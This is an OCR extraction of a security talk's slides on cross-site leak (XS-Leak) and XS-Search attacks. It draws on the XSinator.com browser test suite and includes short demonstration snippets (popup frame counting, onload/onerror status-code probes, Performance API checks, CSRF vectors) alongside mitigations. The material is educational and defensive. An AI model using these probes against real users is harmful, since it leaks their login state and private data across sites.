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Overview

* Basics
* Site, Origin
e Same-Origin Policy (SOP)
e Attacking the SOP

e XS-Leaks and XS-Search
e XS-Leak Attacks
e XS-Search Attacks
* XSinator.com

e Attack techniques
e Attack examples
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URLs

Domain Path Fragment
\ \ \
[ | [ | [ |
https://prod.example.com:443/blog/?lang=en#headl
S L S
Scheme Query
(Protocol)




Top-level domains

Subdomain eTLD
https://prod.example.com:443/blog/?lang=en#headl
\ )
v
eTLD+1

Public Suffix List Subdomain eTLD

g’ {_A_\ A

= ’ !
o https://prod.amazon.co.uk
- .co.uk \ J
- .github.io !

eTLD+1



Site vs Origin

Site Origin
(scheme, eTLD+1) tuple (scheme, port, domain) tuple
l https://www.example.com:443/login/
* https://example.com * https://www.example.com:443

Problem: host = location.host != location.hostname



Cross-Site vs Same-Site

https://www.example.com:443 https://login.example.com:443 Same-Site  subdomains do not matter
https://www.example.com:443 https://www.evil.com:443 Cross-Site different eTLD+1
http://projectl.github.io:80 http://project2.github.io:80 Cross-Site different eTLD+1
https://www.example.com:443 https://www.example.com:80 Same-Site  ports are ignored
https://github.io:443 https://projectl.github.io:443 Cross-Site  different eTLD+1
https://github.io:443 https://github.io:443 Same-Site  exact match
https://www.example.com:443 http://example.com:80 Cross-Sitel  different scheme

Given that: github.io, io, and com are public suffixes

[1] sometimes called schemeless same-site



Same-Origin Policy (SOP)

* Browser security mechanism
e restrict interaction between different
Origins

SOP limits data access only. Embedding
resources like images, CSS and scripts is
not restricted.

Origin A can read data
Origin A from Origin A

Origin A can not read
data from Origin B



Cross-0rigin vs Same-0rigin

https://www.example.com:443

http://www.example.com:443
http://nds.rub.de/main.php
https://www.example.com:443
https://www.example.com:443
https://www.example.com:443

https://example.com:443

Remember: (scheme, port, domain) = Origin

https://login.example.com:443

https://www.example.com:443
http://nds.rub.de/index.php
https://www.example.com:80
https://www.evil.com:443
https://example.com:443

https://example.com

Cross-Origin
Cross-Origin
Same-Origin
Cross-Origin
Cross-Origin
Cross-Origin

Same-Origin

subdomain does not match

schema does not match

path does not matter

port does not match

different domain

subdomain does not match

implicit port matches



Attacking the SOP

Cross-Site Scripting (XSS)

* Execute JavaScript in a cross-origin context
CSS-Injection

* Execute CSS in a cross-origin context
* Misconfigured CORS Policy

* Abuse overly permissive CORS Policy
* E.g., Access-Control-Allow-Origin: *

DNS Rebinding
e Switch Domain Names (TOCTOU)

Cross-Site Request Forgery (CSRF)

* Cause state change by just sending a request
* thisis allowed by the SOP

attacker.com

\>

attacker.com

<
<«

>

?hewmail=...

v



Cross-Origin Window Handle Access

* Window Handles (Popups, Iframes)

iframe.contentWindow window.parent window.open window.opener

~— ——
——

e SOP limits access to window methods/attributes

window.blur window.close window.focus window.postMessage
window.closed window.frames window.length window.location
window.opener window.parent window.self window.top

https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin policy#twindow
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Example

Open Popup
* target=_blank

[ NON & attacker.com X 4+
< C' @& attacker.com
Attacker.com

x 0 Elements  Console  Sources  Network

Pl © top v @ | Filter

> WW = window.open('https://myaccount.google.com',

Performance

'_blank')

Memory

Application

Default levels v

Security

»

» O

o]
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Example

Open Popup

target=_blank

® o E attacker.com

C' @ myaccount.google.com

Google Account Q

Home
22| Personal info
(® Data & personalization
ﬁ Security
= People & sharing

9 Payments & subscriptions

About

Privacy Terms  Help  About

X G Google Account X +

Welcome

Manage your info, privacy, and security to make Google work better for you. Learn more

Privacy &
personalization

See the data in your Google Account
and choose what activity is saved to
personalize your Google experience

Manage your data & personalization

Account storage

Your account storage is shared across
Google services, like Drive, Gmail, and
Photos

<\

Security issues found

Protect your account now by resolv-
ing these issues

Secure account

Take the Privacy
Checkup

This step-by-step guide helps you

chonce the nrivacy cottinac that ara

13



Example

Open Popup
* target=_blank
Accessible Attributes

® [ E attacker.com X G Google Account X ‘ +

&« C @ attacker.com * N °

Attacker.com

(w ﬂ Elements Console Sources Network Performance Memory Application Security » o

Pl © | top Y | © | Filter Default levels ¥

> WwW

vglobal {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
»0: global {window: global, self: global, location: {..}, closed: false, frames: global, ..}

»blur: f ()

» close: f ()
closed: false

» focus: f ()

» frames: global {@: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
length: 1

» location: {then: undefined, Symbol(Symbol.toStringTag): undefined, Symbol(Symbol.hasInstance): undefined, Sy..

» opener: Window {window: Window, self: Window, document: document, name: "", location: Location, ..}

» parent: global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
» postMessage: f ()

» self: global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
then: undefined

» top: global {0: global, window: global, self: global, location: {.}, closed: false, frames: global, ..}

» window: global {@: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
Symbol(Symbol.hasInstance): undefined

o]
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Example

Open Popup

* target=_blank
Accessible Attributes
attacker.com can read
the number of Iframes
on google.com

@ [ E attacker.com X G Google Account X ‘ +

& C @ attacker.com * N °

Attacker.com

(w ﬂ Elements Console Sources Network Performance Memory Application Security » e : X

> © | top v | @ | Filter Default levels ¥ o !

» opener: Window {window: Window, self: Window, document: document, name: , location: Location, ..}

» parent: global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}

» postMessage: f ()

» self: global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
then: undefined

» top: global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}

» window: global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}
Symbol(Symbol.hasInstance): undefined
Symbol(Symbol.isConcatSpreadable): undefined
Symbol(Symbol.toStringTag): undefined

» _proto__: Object

> WW.frames
» global {0: global, window: global, self: global, location: {..}, closed: false, frames: global, ..}

> Ww.frames.length
1
>
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E Xa I I l p | e ®©® [ attackercom X G Google Account x  +

C & google.com/account/about/?hl=en-US * % @ H

Google Account Overview  Privacy tools Create an account Go to Google Account

Open Popup

* target=_blank
Accessible Attributes working for you .
attaCke r.com Can read Sign in to your Google Account, and get the most out of all Q M ‘-f({ ‘\M‘ < u ...

All of Google,

the Google services you use. Your account helps you do
more by personalizing your Google experience and
t h e n u m b e r Of Ifra m e S offering easy access to your most important information
from anywhere.
on google.com
L]
Logout and test again

Helps you Built for you Protects you



Exa I I l p | e [ NON ) & attac ker.com X G Google Account X ‘ n

&« C @& attacker.com w N @ H

Attacker.com
* Open Popup
[ ta rg e t: b l a n k (x ﬂ Elements  Console  Sources Network  Performance Memory  Application  Security » e : X

Pl © | top v @ | Filter Default levels ¥ o
L] L]
o AcceSSI ble Attrl butes > WW = window.open('https://myaccount.google.com', '_blank')
» Window {window: Window, self: Window, document: document, name: "', location: Location, ..}

* attacker.com canread e
the number of Iframes
oh google.com

* Logout and test again

=> attacker.com can detect
if a user is currently logged
into Google (0 vs 1 Iframe)

17



Attack Flow XS-Leak

Previous Example:

Inclusion Method
« window.open()

Detectable Difference
e 1 lIframe or O Iframes

Leak Technique
« frames.length

User State
* Login Status

1. Victim visits
attacker.com

2. Use Inclusion
Method

attacker.com

State-
Dependent
N Resource

3. Use Leak
Technique

1

4. Determine
User State

18



Cross-Site Leak Attack (XS-Leak)

A client-side bug/technique that allows an attacker to collect side-
channel information from a cross-origin HTTP resource by observing
how the browser reacts.

 Browser side-channel attack
* Bypass the Same-Origin Policy (SOP)
= use detectable differences to determine the victim's User State

19



User States

* Login Status
* |s the victim logged into a specific site?

* Account Type
* |s the vicitim an admin or regular user? (premium vs. guest)

* Account Owner
* |s the vicitim the owner of a specific account?

e Group Affilication
* |s the vicitim member of a specific group or channel?

* Session Status
* Has the vicitim visited a specific site before?



Inclusion Methods

e HTML Elements

¢ <script>, <img>, <link>

* [frame, Object and Embed

« <1frame>, <object>, <embed>
* Pop-ups

« window.open()
* JavaScript Requests

* Fetch API



Detectable Differences

* APl Usage * Page Content
* Websockets * Iframe Count
* Payment API * Page Resource
e Status Code * ID Attributes
e Errors (4XX & 5XX) * Image Size
* Authorization (401) e HTTP Header
e Redirects * X-Frame-Options
* Redirects * Content-Type
e IS Redirects * Content-Disposition

* Leak Redirect Target * CSP Directives



Cross-Site Search Attack (XS-Search)
ldea

The attacker repeatedly “asks” questions on behalf of the victim to a
web endpoint.

“Is there an e-mail which contains the word secret?” — email service
“Are there plans for the weekend?” — calendar service

* abuses Query-Based Search Systems
e ?search=AAAA ?search=AAAB ?search=AAAC

= The “answer” is obtained with XS-Leaks

23



XS-Search Attack Flow

1. Victim visits
attacker.com

attacker.com

attacker.com

3. Collect and
Analyse

1

4. Leak User
Information

2. Issue
Challenges

Challenge 1

v

A

Challenge n

v

A

State-
Dependent
Resource

State-
Dependent
Resource

24



The Paper

CCS21

XSinator.com: From a Formal Model to the Automatic
Evaluation of Cross-Site Leaks in Web Browsers

Lukas Knittel Christian Mainka Marcus Niemietz
Ruhr University Bochum Ruhr University Bochum Niederrhein University
lukas.knittel@rub.de christian.mainka@rub.de of Applied Sciences

marcus.niemietz@hs-niederrhein.de

Dominik Trevor Nof§ Jorg Schwenk
Ruhr University Bochum Ruhr University Bochum
dominik.noss@rub.de joerg.schwenk@rub.de

=
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XS-Leak Ingredients: Formal Model XSinator.com a
detectable difference, inclusion for XS-Leaks Browser Test Suite
methods, leak technique
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XSinator.com

@ Xsinator - XS-Leak Browser T X + v
O cues Automatically tests 34 XS-Leaks in the
XSinator Xs-Leak Browser Testsuite ® FAQ B Source Bj Paper

browser

Click on Run all Tests to run all test cases in your browser. After that you can
compare your results. Click on an individual test case to get more info, execute it
on its own, or view the code.

Testing site acts as the attacker site

» https://xsinator.com

Exploitable m Not Applicable

L] L] L]
UA:Mozilla/5.@ (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Vu | n e ra b | e We b a p pl Icat I O n SI m u Iates
Chrome/95.0.4638.54 Safari/537.36

# XS-Leak Description h t t _ d d t
0 Performance API Error Leak Detect errors with Performance API. t e S a e e p e n e n re S O u rC e
1 Event Handler Leak (Object) Detect errors with onload/onerror with object. ° https //XS| nator_xyz
2 Event Handler Leak Detect errors with onload/onerror with stylesheet.
(Stylesheet)
3 Event Handler Leak (Script) Detect errors with onload/onerror with script.
4 MediaError Leak Detect status codes with MediaError message.
5 Style Reload Error Leak Detect errors with style reload bug.
6 Request Merging Error Leak Detect errors with request merging.
7 CORS Error Leak Leak redirect target URL with CORS error.



Demo

https://XSinator.com



https://xsinator.com/

WebSocket Detection

APl Usage

* The WebSocket APl makes it possible to open a two-way interactive
communication session between the user's browser and a server.

(w ﬁ__] Elements Console Sources Network Performance Memory Application Security Lighthouse
® © ¥ Q ([ Preservelog () Disable cache | Online v + 3
Filter () Hide data URLs All XHR JS CSS Img Media Font Doc [W&5 Manifest Other [ ] Has blocked cookies [ ]
Name X Headers Messages Initiator  Timing
|| 2sCAJ94ZnC5EQ8uuLp... Q@ All ¥ Enter regex, for example: (web)?socket
Data
¥ 2
1 2:
4 5::{"name":"new-chat-message","args":[{"id":"6009cc18f6c90b3959c5¢c869","content":"My message", "timestamp":161
¥ 2:
1 2:

v5::i{name: "new-chat-message",..}
vargs: [{id: "6009cc18f6c90b3959c5c869", content: "My message", timestamp: 1611254808997,..}]
v0: {id: "6009cc18f6c90b3959c5c869", content: "My message", timestamp: 1611254808997,..}
content: "My message"
id: "6009cc18f6c90b3959c5c869"
room_id: "5ed758b6772df8000146df7b"
timestamp: 1611254808997
» user: {id: "5e6f72e4dfff91000 ", first_name: , last_name: S
user_id: "5e6f72e4dfff910001285943"
1/51requests 0B/482kl name: "new—chat-message" s



WebSocket Detection

APl Usage

* Firefox and Chrome enforces a global limit to the number of
WebSockets

* network.websocket.max-connections (default:200)

}

Att k Pl o rv = prefService->GetIntPref ("network.websocket.max-connections", &intpref);
a C a n . if (NS_SUCCEEDED(rv)) {

mMaxConcurrentConnections = clamped(intpref, 1, Oxffff);

exhaust limit .
Close n We bSOCketS int32 t sessionCount = -1;

nsWSAdmissionManager: :GetSessionCount (sessionCount) ;
if (sessionCount >= 0) {

LOG( ("WebSocketChannel: :AsyncOpen %p sessionCount=%d max=%d\n", this,
O p e n ta rget p a ge sessionCount, mMaxConcurrentConnections));
. }
t ry O p e n I n g n We bSO C kEtS if (sessionCount >= mMaxConcurrentConnections) {
LOG( ("WebSocketChannel: max concurrency %d exceeded (%d)",
CO u nt t h e n u m b e r Of e rro r mMaxConcurrentConnections, sessionCount));

s wihe

// WebSocket connections are expected to be long lived, so return
// an error here instead of queueing
return NS_ERROR_SOCKET CREATE_FAILED;

}

Firefox Source: netwerk/protocol/websocket/WebSocketChannel.cpp



Event Handler Error Leak

Status Code Detection

Response A Response B
sc = (2XX or 3XX) sc = (4XX or 5XX)
=> onload Event => onerror Event

<link rel="stylesheet" href="https://target.com"

onload="console. log( '0Ok" )"
onerror="console. log( 'Error')">

30



Event Handler Error Leak

Status Code Detection

Link Stylesheet | 200 | 201 | 203 | 206 | 208 | 300 | 301 | 302 | 303 | 304 | 400 | 401 | 402 | 403 | 404 | 500 | 501 | 502 | 503
text/plain I I: It It It It I It IE IE
application/pdf | L 12 L L Ik L I: L I5 L
audio/mpeg It IE It I Ik It I It I I
video/mp4 ENE R T
font/ttf 15 L I 15 5 L L L I I;
application/xml | L I: It It I Ik I IL IE E
audio/x-wav |5 E L E 15 L I 15 L I
text/html 1B L L L 15 L L L I L
text/javascript E L L L E L L E L K
text/css I L Ik k |5 L L L I I:
image/png IE L5 It It I Ic Ik 5 I E
image/svg+xml | L IE IE L Ik L IE It It Ir
image/gif rRiE R T
application/json | L I8 Ik It I I It It It 2

Chrome for <link rel=stylesheet>
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Event Handler Error Leak

Status Code Detection

HTML only variant

Chrome + FlrefOX <object data="https://target.com/alice.png">

<object data="https://attacker.com?not_A"></object>
<object data="https://target.com/bob.png">
<object data="https://attacker.com?not_AB"></object>

<object data="https://target.com/charlie.png">
<object data="https://attacker.com?not_ABC"></object>
</object>
</object>
</object>

The content of the <object> tag is only rendered if the resource
specified in the data attribute fails to load.

https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element
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Cache Leak

Page Content

® © M Suchergebnisse - kuntekinteC X -+

& C # mail.google.com/mail/u/0/#search/secret Q @ll $ » e

M Gmail Q,  secret X v ® & G

l_ Schreib D Beliebiger Zeitraum & Mit Anhang »> An mich c > nac
chreiben
D xc C 1-1von1
[J Posteingang
© Zuriickgestellt Secret - Secret 5. Mérz
® ® M Suchergebnisse - kuntekinte0' X +
< C # mail.google.com/mail/u/0/#search/no+secret QA W @ $ » e

M Gmail Q. nosecret X - ® & i O

O~ ¢C
I— Schreiben

Q. Es stimmen keine Nachrichten mit Ihren Suchkriterien tberein. Verwenden Sie
Suchoptionen wie Absender, Datum oder GroRe.

[J Posteingang

@ Zuriickgestellt

The image is only loaded
when a mail is found.
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Cache Leak Attack Flow

Page Content

1. Delete Resource from Cache State A
R ® © ® v suchergebnisse - kuntekinte0© X +
EI " g & C & mail.google.com/mail/u/0/#search/secret Q @n ® » 6 :
‘_’ 24
B P PTTITTIT T = N' Gmail q secret X - @ @ EEE G
e
I— S i, [™ Beliebiger Zeitraum « > Mit Anhang »> An mich € > nac
7 O -~ C‘ 1-1von1
. Posteingan:
2. Load Target Website State A - s

© Zuriickgestellt

Al
[
3

=State A = Victim has mail with keyword.



Performance APl XFO Leaks

HTTP Header Detection

® @ data:text/html,<img src="https X +

& C' A Not Secure | data:text/html,<img src="https://i.img.. Q Y N @ :

The Performance API
provides access to
performance-related
information for the current

page.

x ] Elements  Console  » O X
P © | top v © | Fiter D &£

> performance.getEntriesByType( 'resource')

v [PerformanceResourceTiming]

v 0: PerformanceResourceTiming
connectEnd: 0
connectStart: 0
decodedBodySize: 0
domainLookupEnd: @

* performance.getEntries() domainLookupStart: 0
duration: 61.13499999628402
° T|m|ng Leaks encodedBodySize: 0
entryType: "resource"
* Restricted access for I‘;E;Qiig;pz?-371232000037253
Cross—origin resources name: "https://i.imgur.com/5S518bNz.png"

nextHopProtocol: "h2"
redirectEnd: 0
redirectStart: 0

nnnnnnnn Cdmsdta N
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https://developer.mozilla.org/de/docs/Web/API/Performance

Performance API XFO Leak

HTTP Header Detection

e All resources should create resource entries.

* However:
Iframe requests will not be logged if they are blocked with X-Frame-Options.

—>Detect X-Frame-Options: {Deny, SameOrigin}

State A performance.getEntriesByType('resource').length ===
no XFO

State B
XFO Deny

performance.getEntriesByType('resource').length ===
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XS-Leak Mitigations

Browser Security Features Application-Specific Mitigations
* X-Frame-Options or frame-ancestors (CSP) * No differences between User States

* Cross-Origin Opener Policy (COOP) e User Interaction

» Cross-Origin Resource Policy (CORP) * Rate Limiting

* Cross-Origin Read Blocking (CORB) * Unique URLs per Session

Fetch Metadata

SameSite Cookies Fixing Leak Techniques

attacker com * Most Leaks are Browser Bugs

x , * Vendors are fixing them

SameSite | e — * Check XSinator.com




Security Header

* X-Frame-Options
* Restrict framing
* <iframe>, <object>, <embed>
e Can be detected with XS-Leaks

* Cross-Origin Resource Policy (CORP)
* Restrict embedding of resources
* same-origin or same-site
e Blocks

<img src=http://example.com/1.png>
on attacker.com if set.

Read: https://scotthelme.co.uk/coop-and-coep/

* Cross-Origin Opener Policy (COOP)

* Restrict access to window.opener
I

 Fetch Metadata

* Request Header
e Sec-Fetch-Dest: image
* Sec-Fetch-Site: cross-site

* requires server logic

38
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SameSite Cookies

* Cookie flag like HTTPOnly or secure
* best security mechanism against XS-Leaks
* force browsers to only include cookies in same-site requests

* 3 modes: None, Lax, Strict

attacker.com

X [E]:

SameSite e

Read: https://web.dev/samesite-cookies-explained/



https://web.dev/samesite-cookies-explained/

¢ p—— . -7

i —

Samesxte

Just a link

<a href="//host/csrf">click_me</a>

Classic POST CSRF
<form action="//host/csrf" method=POST>

POST CSRF (fresh 120 sec cookie)
i <form action="//host/csrf" method=POST>

Image
<img src="//host/csrf">

Iframe
<iframe src="//host/csrf"></iframe>

Open new window
window.open('//host/csrf')

JS async cross-domain request
fetch(), XMLHttpRequest(), Websocket()

User types the URL in browser

The default browser opens the
clicked link from desktop app

cookies will
not be sent

cookies different behavior

No Attr Lax Strict None No Attr Lax Strict None No Attr Lax

CHROME FIREFOX/IE/EDGE SAFARI

cookies will
be sent

No attr:
have ‘Samesite’

cookies do not
attribute

differs from
Google Chrome




XSinator.com

ﬁ Thank you for listening!

Any Questions?
4

@ D LU H S I:)® Challenges?! https://owasp.ikseses.xyz/ @kunte_ctf



https://owasp.ikseses.xyz/

Formal XS-Leak Description

Definition 2 — Cross-Site Leak

A Cross-Site Leak is a function xsl() that outputs a bit b’, that
is b’ = xsl(sdr, i, t)

« sdr € SDR is a state-dependent resource.
e {(€lisaninclusion method to request a cross-origin resource.

e te€Tisaleak technigue which can be used to observe state-dependent
resources cross-origin.

If there exists an inclusion method i and a leak technique t such that xsl((url, (s,, d,)), i, t) = b then
the difference d is detectable.

XSinator.com: From a Formal Model to the Automatic
Evaluation of Cross-Site Leaks in Web Browsers
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Formal XS-Leak Description

Definition 1 — State-dependent resource

A state-dependent resource sdr is a 2-tuple (url, (s, d)),
where (S; d) € {(SOI dO)r (Sll dl)}

urlis a URL resource on the target web application.
S ={sy, 51} is a set of two different states of the target web application.

D ={d,, d,}is a set that represents the difference of the web application’s
behavior that depends on sy and s;.

XSinator.com: From a Formal Model to the Automatic
Evaluation of Cross-Site Leaks in Web Browsers
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Limitations XSinator.com

* Browser Compatibility
* as many browsers as possible
* mobile browsers

* Could not implement all known leaks
e some interfere with each other or are too unstable

* Excluded Leaks
* misconfiguration (e.g., CORS, postMessage, ...)
* webapp specific (e.g., WAF)
* timing leaks



